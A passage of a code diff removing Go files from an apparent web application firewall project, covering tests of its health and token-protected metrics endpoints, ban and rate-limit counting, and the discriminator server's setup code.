 		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
 		Reason: "refusals per minute over the limit of 1", Notes: notes,
 	}, requestlog.FormatTime(start.Add(time.Hour)))
 	alert.Detail["mode"] = observe
 	wantAlerts(t, queue, alert)
 }
@@ -1,40 +0,0 @@
 package discriminator_test
 import (
 	"net/http"
 	"testing"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
 	t.Parallel()
 	// With a limit of one request a minute, any request counted before
 	// the last one would have it refused.
 	s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
 	const (
 		healthChecks = 3
 		contentType  = "text/plain; charset=utf-8"
 	)
 	for range healthChecks {
 		got := s.adminRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
 		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
 			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
 				"with %q", got.body, got.header.Get("Content-Type"), contentType)
 		}
 	}
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
 		if line.ResponseContentType != contentType {
 			t.Errorf("health check's log line has response_content_type %q, "+
 				"want %q", line.ResponseContentType, contentType)
 		}
 	}
 }
@@ -1,432 +0,0 @@
 package discriminator_test
 import (
 	"io"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"strconv"
 	"strings"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 const (
 	metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
 	metricsTopN  = "SWW_METRICS_TOP_N"
 	// token is the SWW_METRICS_TOKEN the tests set, and bearer how a
 	// request carries it.
 	token  = "0123456789abcdef0123456789abcdef"
 	bearer = "Bearer " + token
 )
 func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", nil)
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{bearer, "Bearer ", ""} {
 		s.adminRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
 			http.StatusNotFound)
 	}
 }
 func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{metricsToken: token})
 	for _, tc := range []struct {
 		method, path, authorization string
 		status                      int
 	}{
 		{http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
 		{
 			http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
 			http.StatusUnauthorized,
 		},
 		{http.MethodGet, discriminator.MetricsPath, "Basic " + token,
 			http.StatusUnauthorized},
 		{http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
 		{http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
 		{http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
 		{http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
 		{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
 		{http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
 	} {
 		got := s.adminRequest(tc.authorization, tc.method, tc.path, "", tc.status)
 		if tc.status == http.StatusUnauthorized &&
 			got.header.Get("WWW-Authenticate") != "Bearer" {
 			t.Errorf("%q was answered without WWW-Authenticate: Bearer",
 				tc.authorization)
 		}
 		if tc.status == http.StatusOK &&
 			!strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
 			t.Errorf("the metrics are\n%s", got.body)
 		}
 	}
 }
 func TestMetricsCountTheTraffic(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_, _ = io.Copy(io.Discard, r.Body)
 		_, _ = io.WriteString(w, "hello")
 	})
 	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
 		map[string]string{metricsToken: token})
 	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
 	wantStatus(t, got, http.StatusOK)
 	wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
 	out.endedLines(t, 2)
 	forward := `{action="forward",instance="app",status_class="2xx"}`
 	notFound := `{action="admin",instance="app",status_class="4xx"}`
 	// The request for the metrics is itself under way.
 	metrics := scrape(t, server.Addr)
 	wantMetric(t, metrics, "sww_requests_total"+forward, 1)
 	wantMetric(t, metrics, "sww_requests_total"+notFound, 1)
 	wantMetric(t, metrics, "sww_request_bytes_total"+forward, 3)
 	wantMetric(t, metrics, "sww_response_bytes_total"+forward, 5)
 	wantMetric(t, metrics, "sww_response_bytes_total"+notFound,
 		float64(len("Not Found\n")))
 	wantMetric(t, metrics,
 		`sww_request_duration_seconds_count{instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`sww_upstream_duration_seconds_count{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_requests_in_flight{instance="app"}`, 1)
 	metric(t, metrics, `go_goroutines{instance="app"}`)
 	metric(t, metrics, `process_start_time_seconds{instance="app"}`)
 }
 func TestMetricsCountLimitsAndBans(t *testing.T) {
 	t.Parallel()
 	const denied = "192.0.2.50" // in SWW_DENY_NETS
 	s, clk, _ := startWithClock(t, "", map[string]string{
 		metricsToken:       token,
 		rateLimitPerMinute: "1",
 		denyNets:           denied,
 		banResponse:        banResponseClose,
 		limitBanDuration:   "1h",
 		maxBanDuration:     "2h",
 	})
 	// SWW_BAN_RESPONSE=close sends no status at all.
 	s.get(denied, 0, requestlog.ActionDenied)
 	// A first broken limit bans for an hour.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, 0, requestlog.ActionRateLimited)
 	metrics := s.scrape()
 	wantMetric(t, metrics,
 		`sww_requests_total{action="denied",instance="app",status_class="none"}`, 1)
 	wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
 		`kind="requests",window="minute"}`, 1)
 	wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
 	wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
 	clk.advance(time.Hour)
 	wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
 	// A limit broken again right after would ban for three hours, longer
 	// than SWW_MAX_BAN_DURATION, so the ban is permanent.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, 0, requestlog.ActionRateLimited)
 	metrics = s.scrape()
 	wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
 		`kind="requests",window="minute"}`, 2)
 	wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
 	wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
 	wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
 	// denied and client.
 	wantMetric(t, metrics, `sww_tracked_clients{instance="app"}`, 2)
 }
 func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
 	t.Parallel()
 	s, clk, server := startWithClock(t, "", map[string]string{
 		metricsToken: token,
 		adminToken:   adminSecret,
 	})
 	const admins = `sww_bans_made_total{cause="admin",instance="app"}`
 	wantMetric(t, s.scrape(), admins, 0)
 	// As an admin's edit of bans.json that adds a ban is taken in.
 	server.Ledger.LoadEdit([]bans.Ban{{
 		Netblock: netip.MustParsePrefix(client + "/32"),
 		Start:    clk.Now(),
 	}})
 	wantMetric(t, s.scrape(), admins, 1)
 	// And a ban made through the endpoint.
 	s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
 	wantMetric(t, s.scrape(), admins, 2)
 }
 func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 	t.Parallel()
 	const fromFR = "198.51.100.20"
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_, _ = io.Copy(io.Discard, r.Body)
 		_, _ = io.WriteString(w, "hello")
 	})
 	env := map[string]string{
 		trustedProxies:  trustLocalhost,
 		metricsToken:    token,
 		metricsTopN:     "2",
 		deniedCountries: "kp",
 	}
 	geojsURL, _ := startGeoJS(t)
 	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
 	// The answers are kept before the requests, so that none waits for
 	// GeoJS.
 	server.GeoJS.Load([]lookup.Answer{
 		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
 	})
 	lines := 0
 	send := func(from string, times, status int) {
 		t.Helper()
 		for range times {
 			req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
 			req.Header.Set(forwardedFor, from)
 			wantStatus(t, do(t, req), status)
 			// Each is counted before the next is sent, so that the
 			// countries are ranked in the order sent.
 			lines++
 			out.endedLines(t, lines)
 		}
 	}
 	// With two countries of their own, the third is counted as other.
 	send(fromKP, 3, http.StatusForbidden)
 	send(fromDE, 2, http.StatusOK)
 	send(fromFR, 1, http.StatusOK)
 	metrics := scrape(t, server.Addr)
 	lines++
 	wantMetric(t, metrics,
 		`sww_country_requests_total{country="KP",instance="app"}`, 3)
 	wantMetric(t, metrics,
 		`sww_country_requests_total{country="DE",instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`sww_country_requests_total{country="other",instance="app"}`, 1)
 	wantMetric(t, metrics,
 		`sww_country_list_refusals_total{country="KP",instance="app"}`, 3)
 	wantMetric(t, metrics,
 		`sww_country_request_bytes_total{country="KP",instance="app"}`, 0)
 	wantMetric(t, metrics,
 		`sww_country_request_bytes_total{country="DE",instance="app"}`, 6)
 	wantMetric(t, metrics,
 		`sww_country_response_bytes_total{country="KP",instance="app"}`,
 		float64(3*len("Forbidden\n")))
 	wantMetric(t, metrics,
 		`sww_country_response_bytes_total{country="other",instance="app"}`,
 		float64(len("hello")))
 	wantNoSeries(t, metrics,
 		`sww_country_requests_total{country="FR",instance="app"}`)
 	// Once FR is busier than DE, it takes DE's place: its series counts
 	// from then on, and DE's is gone.
 	send(fromFR, 3, http.StatusOK)
 	metrics = scrape(t, server.Addr)
 	wantMetric(t, metrics,
 		`sww_country_requests_total{country="KP",instance="app"}`, 3)
 	wantMetric(t, metrics,
 		`sww_country_requests_total{country="FR",instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`sww_country_requests_total{country="other",instance="app"}`, 2)
 	wantNoSeries(t, metrics,
 		`sww_country_requests_total{country="DE",instance="app"}`)
 	wantNoSeries(t, metrics,
 		`sww_country_request_bytes_total{country="DE",instance="app"}`)
 }
 func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 	t.Parallel()
 	geojsURL, _ := startGeoJS(t)
 	s, clk, server := startWithClock(t, geojsURL, map[string]string{
 		metricsToken: token,
 		metricsTopN:  "1",
 	})
 	// The answers are kept before the requests, so that GeoJS gives none
 	// of its own. Each client is in an AS of its own.
 	answer := func(addr, asn string) lookup.Answer {
 		return lookup.Answer{
 			Client: netip.MustParsePrefix(addr + "/32"), ASN: asn,
 			Answered: clk.Now(), Used: clk.Now(),
 		}
 	}
 	server.GeoJS.Load([]lookup.Answer{
 		answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
 	})
 	// With one AS number of its own, the other is counted as other.
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromKP, http.StatusOK, requestlog.ActionForward)
 	metrics := s.scrape()
 	wantMetric(t, metrics,
 		`sww_asn_requests_total{asn="AS64501",instance="app"}`, 2)
 	wantMetric(t, metrics,
 		`sww_asn_requests_total{asn="other",instance="app"}`, 1)
 	wantMetric(t, metrics,
 		`sww_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
 	wantMetric(t, metrics,
 		`sww_asn_response_bytes_total{asn="other",instance="app"}`, 0)
 	wantNoSeries(t, metrics,
 		`sww_asn_requests_total{asn="AS64502",instance="app"}`)
 }
 func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
 	t.Parallel()
 	geojs := httptest.NewServer(http.HandlerFunc(
 		func(w http.ResponseWriter, _ *http.Request) {
 			w.WriteHeader(http.StatusServiceUnavailable)
 		}))
 	t.Cleanup(geojs.Close)
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	addr, _, server := startProxyWithClock(t, app.URL, geojs.URL, time.Now,
 		map[string]string{
 			trustedProxies:  trustLocalhost,
 			metricsToken:    token,
 			deniedCountries: "kp",
 		})
 	// GeoJS fails, so the client counts as coming from an unknown country,
 	// which SWW_DENIED_COUNTRIES does not refuse.
 	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 	req.Header.Set(forwardedFor, fromDE)
 	wantStatus(t, do(t, req), http.StatusOK)
 	// The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
 	// GeoJS's failure can come after its request has ended.
 	deadline := time.Now().Add(waitLimit)
 	metrics := scrape(t, server.Addr)
 	for metric(t, metrics, `sww_geojs_failures_total{instance="app"}`) == 0 &&
 		time.Now().Before(deadline) {
 		time.Sleep(pollInterval)
 		metrics = scrape(t, server.Addr)
 	}
 	wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_geojs_unanswered_total{instance="app"}`, 1)
 }
 // keptAnswer returns GeoJS's answer that the client at addr is in
 // country, given now.
 func keptAnswer(addr, country string) lookup.Answer {
 	now := time.Now()
 	return lookup.Answer{
 		Client: netip.MustParsePrefix(addr + "/32"), Country: country,
 		Answered: now, Used: now,
 	}
 }
 // scrape asks discriminator at addr for the metrics, with the token, and returns
 // them.
 func scrape(t *testing.T, addr string) string {
 	t.Helper()
 	req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
 	req.Header.Set("Authorization", bearer)
 	got := do(t, req)
 	if got.status != http.StatusOK {
 		t.Fatalf("the metrics were answered %d", got.status)
 	}
 	return string(got.body)
 }
 // scrape asks for the metrics, with the token, and returns them.
 func (s *sender) scrape() string {
 	s.t.Helper()
 	return string(s.adminRequest(bearer, http.MethodGet, discriminator.MetricsPath, "",
 		http.StatusOK).body)
 }
 // metric returns the value of series in metrics, which are in the
 // Prometheus text format. series is a name and its labels in the order of
 // their names, such as
 // sww_offences_total{instance="app",kind="limit"}. It fails the
 // test if there is no such series.
 func metric(t *testing.T, metrics, series string) float64 {
 	t.Helper()
 	for line := range strings.Lines(metrics) {
 		value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
 		if !found {
 			continue
 		}
 		number, err := strconv.ParseFloat(value, 64)
 		if err != nil {
 			t.Fatalf("%s has the value %q", series, value)
 		}
 		return number
 	}
 	t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
 	return 0
 }
 // wantMetric checks the value of series in metrics, as metric reads it.
 func wantMetric(t *testing.T, metrics, series string, want float64) {
 	t.Helper()
 	got := metric(t, metrics, series)
 	if got != want {
 		t.Errorf("%s is %v, want %v", series, got, want)
 	}
 }
 // wantNoSeries checks that metrics have no series series.
 func wantNoSeries(t *testing.T, metrics, series string) {
 	t.Helper()
 	if strings.Contains(metrics, "\n"+series+" ") {
 		t.Errorf("there is a series %s", series)
 	}
 }
@@ -1,262 +0,0 @@
 // Package discriminator is the server the discriminator command runs. It answers
 // rproxy's questions, takes rproxy's reports and answers its own endpoints, and
 // writes a log line for each.
 package discriminator
 import (
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"time"
 	lru "github.com/hashicorp/golang-lru/v2"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 // adminPrefix starts the path of each of discriminator's own endpoints. The app never
 // sees a path under it.
 const adminPrefix = "/_sww/"
 // HealthPath is the health endpoint of discriminator and of rproxy, which the
 // container's health check asks.
 const HealthPath = "/_sww/healthz"
 // MetricsPath is where the metrics are, for a request that carries
 // SWW_METRICS_TOKEN.
 const MetricsPath = "/_sww/metrics"
 // BansPath is where an admin lists and adds bans, and, followed by / and
 // a client's address, lifts them, with SWW_ADMIN_TOKEN.
 const BansPath = "/_sww/bans"
 // ClientsPath is where an admin asks what discriminator knows of a client, by
 // the client's address after it, with SWW_ADMIN_TOKEN.
 const ClientsPath = "/_sww/clients/"
 // Params are what New needs.
 type Params struct {
 	Config *config.Config
 	// RequestLog receives two JSON lines per question, one at its decision and
 	// one when its report comes, and one per request to discriminator's own
 	// endpoints.
 	RequestLog io.Writer
 	// ProcessLog receives the process's own messages.
 	ProcessLog *slog.Logger
 	// GeoJSURL is where clients' AS numbers and countries are looked up
 	// while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
 	GeoJSURL string
 	// AbuseIPDBURL is where clients are checked with AbuseIPDB while
 	// SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
 	AbuseIPDBURL string
 	// LookupFile is the lookup database they are looked up in while
 	// SWW_LOOKUP_SOURCE is file, and nil otherwise.
 	LookupFile *lookup.File
 	// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
 	// while SWW_WAF_MODE is not off, and nil while it is.
 	CoreRuleSet *waf.CoreRuleSet
 	// Now tells the time by which requests are counted for the rate
 	// limits, bans are made and run out, and GeoJS's answers are kept,
 	// normally time.Now in UTC, the time the state files give.
 	Now func() time.Time
 	// Rules are the rule files' rules, which each request is checked
 	// against.
 	Rules *rules.Files
 	// Alerts receive the alert for each ban discriminator makes or makes
 	// permanent, for each count over an anomaly threshold, for each request
 	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
 	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
 	// SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
 	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
 	// or the day's AbuseIPDB checks used up.
 	Alerts *alerts.Queue
 }
 // Server is the server discriminator runs, with the parts whose state the state
 // files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
 // lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
 // AbuseIPDB's scores and checks spent, and the metrics.
 type Server struct {
 	*http.Server
 	Ledger     *bans.Ledger
 	Limiter    *ratelimit.Limiter
 	GeoJS      *lookup.GeoJS
 	Anomalies  *anomaly.Counters
 	LookupFile *lookup.File
 	Lists      *reputation.Lists
 	DNSBL      *reputation.DNSBL
 	AbuseIPDB  *reputation.AbuseIPDB
 	Metrics    *metrics.Metrics
 }
 // newHandler returns the handler with what every request shares, as the
 // settings in params make it.
 func newHandler(params Params) *handler {
 	m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
 	lists, dnsbl, abuseIPDB := newReputation(params, m)
 	awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
 	if err != nil {
 		panic(err) // New fails only for a size below one
 	}
 	h := &handler{
 		config:         params.Config,
 		requestLog:     params.RequestLog,
 		processLog:     params.ProcessLog,
 		now:            params.Now,
 		metrics:        m,
 		awaitingReport: awaitingReport,
 		limiter: ratelimit.New(ratelimit.Limits{
 			PerMinute:      params.Config.RateLimitPerMinute,
 			PerHour:        params.Config.RateLimitPerHour,
 			PerDay:         params.Config.RateLimitPerDay,
 			BytesPerMinute: params.Config.BytesLimitPerMinute,
 			BytesPerHour:   params.Config.BytesLimitPerHour,
 			BytesPerDay:    params.Config.BytesLimitPerDay,
 		}, params.Config.MaxTrackedClients),
 		ledger: bans.New(bans.Rules{
 			LimitBanDuration:     params.Config.LimitBanDuration,
 			LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
 			MaxBanDuration:       params.Config.MaxBanDuration,
 			AttackBanDuration:    params.Config.AttackBanDuration,
 			MaxBans:              params.Config.MaxBans,
 		}),
 		anomalies: anomaly.New(anomaly.Params{
 			Client:         params.Config.AnomalyClient,
 			Net:            params.Config.AnomalyNet,
 			ASN:            params.Config.AnomalyASN,
 			Total:          params.Config.AnomalyTotal,
 			Watch:          params.Config.AnomalyWatch,
 			NetV4Prefix:    params.Config.AnomalyNetV4Prefix,
 			NetV6Prefix:    params.Config.AnomalyNetV6Prefix,
 			NamedNetblocks: params.Config.WatchNets,
 			Alerts:         params.Alerts,
 		}),
 		lookupFile:  params.LookupFile,
 		lists:       lists,
 		dnsbl:       dnsbl,
 		abuseIPDB:   abuseIPDB,
 		rules:       params.Rules,
 		coreRuleSet: params.CoreRuleSet,
 		alerts:      params.Alerts,
 	}
 	h.geojs = lookup.New(lookup.Params{
 		URL:     params.GeoJSURL,
 		Timeout: params.Config.LookupTimeout,
 		// The country lists, the headers and the biased thresholds act on
 		// the answer before the request goes on.
 		Wait: len(params.Config.DeniedCountries) > 0 ||
 			len(params.Config.ExclusivelyAllowedCountries) > 0 ||
 			params.Config.AddLookupHeaders || biasedThresholdsSet(params.Config),
 		Answered:   h.addLookup,
 		Now:        params.Now,
 		ProcessLog: params.ProcessLog,
 		Metrics:    m,
 		Alerts:     params.Alerts,
 	})
 	m.AddBansAndClients(h.ledger, h.limiter, params.Now)
 	m.AddRules(params.Rules)
 	return h
 }
 // newReputation returns the lists fetched from URLs, the DNSBL zones'
 // verdicts and AbuseIPDB's scores, as the settings in params name them,
 // with none fetched, asked for or checked yet, and adds their metrics to
 // m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
 func newReputation(
 	params Params, m *metrics.Metrics,
 ) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
 	cfg := params.Config
 	lists := reputation.New(reputation.Params{
 		BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
 		ASNLimitPercentURL:   cfg.ASNLimitPercentURL,
 		CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
 		Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
 	})
 	dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
 		Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
 		Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
 		Alerts: params.Alerts,
 	})
 	abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
 		URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
 		DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
 		Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
 		Alerts: params.Alerts,
 	})
 	m.AddReputation(lists, dnsbl)
 	if cfg.AbuseIPDBKey != "" {
 		m.AddAbuseIPDB(abuseIPDB)
 	}
 	return lists, dnsbl, abuseIPDB
 }
 // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
 // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
 // up to SWW_WAF_BODY_LIMIT, with the exclusions in
 // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
 // reads at most QuestionBodyMaxBytes less one byte: a question's body of
 // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
 // JSON or XML body over its limit. An exclusions file that waf.New refuses is
 // an error in every mode. While the mode is off, a set file is loaded with the
 // Core Rule Set only to check it.
 func NewCoreRuleSet(cfg *config.Config) (*waf.CoreRuleSet, error) {
 	if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
 		return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
 	}
 	coreRuleSet, err := waf.New(waf.Params{
 		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
 		BodyLimit:      min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
 		ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
 	})
 	if err != nil {
 		return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
 	}
 	if cfg.WAFMode == config.WAFModeOff {
 		return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
 	}
 	return coreRuleSet, nil
 }
 // handler is discriminator's handler. It holds what every request shares; what
 // belongs to one request is in a request.
 type handler struct {
 	config      *config.Config
 	requestLog  io.Writer
 	processLog  *slog.Logger
 	now         func() time.Time
 	metrics     *metrics.Metrics
 	limiter     *ratelimit.Limiter
 	ledger      *bans.Ledger
 	geojs       *lookup.GeoJS
 	anomalies   *anomaly.Counters
 	lookupFile  *lookup.File
 	lists       *reputation.Lists
 	dnsbl       *reputation.DNSBL
 	abuseIPDB   *reputation.AbuseIPDB
 	rules       *rules.Files
 	coreRuleSet *waf.CoreRuleSet
 	alerts      *alerts.Queue
 	// awaitingReport holds the decision on each answered question by its id
 	// until its report comes, and nil for a question still being handled.
 	awaitingReport *lru.Cache[string, *decision]
 }
@@ -1,609 +0,0 @@
 package discriminator_test
 import (
 	"bufio"
 	"bytes"
 	"encoding/json"
 	"io"
 	"log/slog"
 	"maps"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"strings"
 	"sync"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rproxy"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 const (
 	// waitLimit bounds how long a test waits for what should happen.
 	waitLimit = 10 * time.Second
 	// pollInterval is how often a test looks for a log line.
 	pollInterval = 10 * time.Millisecond
 	// localhost is where every test server listens, and so the address rproxy
 	// sees each test's requests come from.
 	localhost = "127.0.0.1"
 	// requestType is the type that marks a request log line.
 	requestType = "request"
 	// protocol is the protocol of every question.
 	protocol = "HTTP/1.1"
 	// trustLocalhost trusts the address every test connects from, and a
 	// network for proxies in front of it.
 	trustLocalhost = localhost + "/32,10.0.0.0/8"
 	// appHost is the host every test asks for.
 	appHost = "app.example"
 	// client is the client's address, as a proxy names it.
 	client = "203.0.113.9"
 	// forwardedFor is the header that lists the client and its proxies,
 	// and forwardedProto the one that gives the scheme the client used.
 	forwardedFor   = "X-Forwarded-For"
 	forwardedProto = "X-Forwarded-Proto"
 	// secure is the scheme a client reached traefik with, and plain the one
 	// rproxy serves.
 	secure = "https"
 	plain  = "http"
 )
 // The settings the tests set.
 const (
 	mode                 = "SWW_MODE"
 	trustedProxies       = "SWRP_TRUSTED_PROXIES"
 	ipv6GroupPrefix      = "SWW_IPV6_GROUP_PREFIX"
 	maxTrackedClients    = "SWW_MAX_TRACKED_CLIENTS"
 	allowNets            = "SWW_ALLOW_NETS"
 	rateLimitExemptNets  = "SWW_RATE_LIMIT_EXEMPT_NETS"
 	denyNets             = "SWW_DENY_NETS"
 	rateLimitPerMinute   = "SWW_RATE_LIMIT_PER_MINUTE"
 	rateLimitPerDay      = "SWW_RATE_LIMIT_PER_DAY"
 	rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
 	lookupSource         = "SWW_LOOKUP_SOURCE"
 	lookupDBPath         = "SWW_LOOKUP_DB_PATH"
 	lookupTimeout        = "SWW_LOOKUP_TIMEOUT"
 	addLookupHeaders     = "SWW_ADD_LOOKUP_HEADERS"
 	deniedCountries      = "SWW_DENIED_COUNTRIES"
 	allowedCountries     = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
 	banResponse          = "SWW_BAN_RESPONSE"
 	limitBanDuration     = "SWW_LIMIT_BAN_DURATION"
 	limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
 	maxBanDuration       = "SWW_MAX_BAN_DURATION"
 	maxBans              = "SWW_MAX_BANS"
 	banScopeV4Prefix     = "SWW_BAN_SCOPE_V4_PREFIX"
 	instanceName         = "SWW_INSTANCE_NAME"
 	logRequestHeaders    = "SWW_LOG_REQUEST_HEADERS"
 	attackBanDuration    = "SWW_ATTACK_BAN_DURATION"
 	rulesDir             = "SWW_RULES_DIR"
 	wafMode              = "SWW_WAF_MODE"
 )
 // off is the value that switches a setting off.
 const off = "off"
 // on is the value that switches a setting that takes true or false on.
 const on = "true"
 // output collects what sww writes on stdout.
 type output struct {
 	mu  sync.Mutex
 	buf bytes.Buffer
 }
 // Write adds lines sww writes.
 func (o *output) Write(p []byte) (int, error) {
 	o.mu.Lock()
 	defer o.mu.Unlock()
 	return o.buf.Write(p)
 }
 // text returns everything written so far.
 func (o *output) text() string {
 	o.mu.Lock()
 	defer o.mu.Unlock()
 	return o.buf.String()
 }
 // lines returns every line written so far, decoded.
